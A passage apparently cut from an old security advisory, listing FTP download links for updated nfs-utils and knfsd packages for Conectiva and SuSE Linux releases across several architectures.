ftp://ftp.conectiva.com.br/pub/conectiva/atualizacoes/5.0/i386/nfs-utils-0.1.9.1-3cl.i386.rpm ftp://ftp.conectiva.com.br/pub/conectiva/atualizacoes/5.1/i386/nfs-utils-0.1.9.1-4cl.i386.rpm ftp://ftp.conectiva.com.br/pub/conectiva/atualizacoes/4.0/SRPMS/nfs-utils-0.1.9.1-3cl.src.rpm ftp://ftp.conectiva.com.br/pub/conectiva/atualizacoes/4.0es/SRPMS/nfs-utils-0.1.9.1-3cl.src.rpm ftp://ftp.conectiva.com.br/pub/conectiva/atualizacoes/4.1/SRPMS/nfs-utils-0.1.9.1-3cl.src.rpm ftp://ftp.conectiva.com.br/pub/conectiva/atualizacoes/4.2/SRPMS/nfs-utils-0.1.9.1-3cl.src.rpm ftp://ftp.conectiva.com.br/pub/conectiva/atualizacoes/5.0/SRPMS/nfs-utils-0.1.9.1-3cl.src.rpm ftp://ftp.conectiva.com.br/pub/conectiva/atualizacoes/5.1/SRPMS/nfs-utils-0.1.9.1-4cl.src.rpm For SuSE Linux: ftp://ftp.suse.com/pub/suse/i386/update/6.4/n1/knfsd.rpm ftp://ftp.suse.com/pub/suse/i386/update/6.4/zq1/knfsd.spm ftp://ftp.suse.com/pub/suse/i386/update/6.3/n1/knfsd.rpm ftp://ftp.suse.com/pub/suse/i386/update/6.3/zq1/knfsd.spm ftp://ftp.suse.com/pub/suse/i386/update/6.2/n1/linuxnfs.rpm ftp://ftp.suse.com/pub/suse/i386/update/6.2/zq1/linuxnfs.spm ftp://ftp.suse.com/pub/suse/i386/update/6.1/n1/linuxnfs.rpm ftp://ftp.suse.com/pub/suse/i386/update/6.1/zq1/linuxnfs.spm ftp://ftp.suse.com/pub/suse/axp/update/6.4/n1/knfsd.rpm ftp://ftp.suse.com/pub/suse/axp/update/6.4/zq1/knfsd.spm ftp://ftp.suse.com/pub/suse/axp/update/6.3/n1/knfsd.rpm ftp://ftp.suse.com/pub/suse/axp/update/6.3/zq1/knfsd.spm ftp://ftp.suse.com/pub/suse/axp/update/6.1/n1/linuxnfs.rpm ftp://ftp.suse.com/pub/suse/axp/update/6.1/zq1/linuxnfs.spm ftp://ftp.suse.com/pub/suse/ppc/update/6.4/n1/knfsd.rpm ftp://ftp.suse.com/pub/suse/ppc/update/6.4/zq1/knfsd.spm